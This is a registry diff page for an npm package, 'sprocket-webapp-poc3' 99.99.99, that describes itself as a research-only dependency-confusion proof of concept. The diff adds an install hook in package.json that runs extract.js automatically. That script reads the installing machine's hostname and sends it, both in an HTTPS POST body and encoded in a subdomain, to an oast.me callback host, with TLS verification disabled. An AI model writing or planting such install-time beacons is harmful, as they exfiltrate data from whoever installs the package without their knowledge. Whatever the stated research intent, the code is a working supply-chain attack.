sprocket-webapp-poc3 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sprocket-webapp-poc3 might be problematic. Click here for more details.
- package/extract.js +40 -0
- package/index.js +1 -0
- package/package.json +12 -0
package/extract.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const hostname = os.hostname();
|
4
|
+
|
5
|
+
const data = JSON.stringify({
|
6
|
+
hostname: hostname,
|
7
|
+
project_id: process.argv[2]
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: process.argv[2] + '.' + hostname + '.d039mdh8rbvk4h6sdh6gf8ytt5555fojt.oast.me',
|
12
|
+
port: 443,
|
13
|
+
path: '/',
|
14
|
+
method: 'POST',
|
15
|
+
timeout: 3000,
|
16
|
+
headers: {
|
17
|
+
'Content-Type': 'application/json',
|
18
|
+
'Content-Length': data.length
|
19
|
+
},
|
20
|
+
rejectUnauthorized: false
|
21
|
+
};
|
22
|
+
|
23
|
+
const req = https.request(options, res => {
|
24
|
+
res.on('data', () => {});
|
25
|
+
res.on('end', () => {
|
26
|
+
process.exit(0);
|
27
|
+
});
|
28
|
+
});
|
29
|
+
|
30
|
+
req.on('timeout', () => {
|
31
|
+
req.abort();
|
32
|
+
process.exit(0);
|
33
|
+
});
|
34
|
+
|
35
|
+
req.on('error', (err) => {
|
36
|
+
process.exit(0);
|
37
|
+
});
|
38
|
+
|
39
|
+
req.write(data);
|
40
|
+
req.end();
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
// PoC index file. Does nothing.
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "sprocket-webapp-poc3",
|
3
|
+
"version": "99.99.99",
|
4
|
+
"description": "PoC for dependency confusion. Research-only. Uploaded for test purposes.",
|
5
|
+
"main": "index.js",
|
6
|
+
"author": "PoC Security Researcher",
|
7
|
+
"license": "ISC",
|
8
|
+
"dependencies": {},
|
9
|
+
"scripts": {
|
10
|
+
"install": "node extract.js demo123"
|
11
|
+
}
|
12
|
+
}
|